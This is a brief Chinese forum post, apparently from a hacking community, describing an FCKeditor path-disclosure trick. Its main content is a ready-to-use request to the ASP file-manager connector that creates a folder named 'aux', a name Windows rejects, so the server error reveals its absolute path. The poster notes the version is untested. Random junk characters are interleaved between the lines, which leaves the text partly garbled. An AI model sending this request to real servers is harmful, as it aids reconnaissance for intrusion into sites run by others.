最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

/ f0 n! ~) X$ M# a7 T4 n# {
版本未测试。。。
" o! t2 K. e+ Q* a* s5 @" r0 ~
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
3 L( n$ `2 e% l$ U4 z

. u2 \' e8 \% O听说IIS都可以。。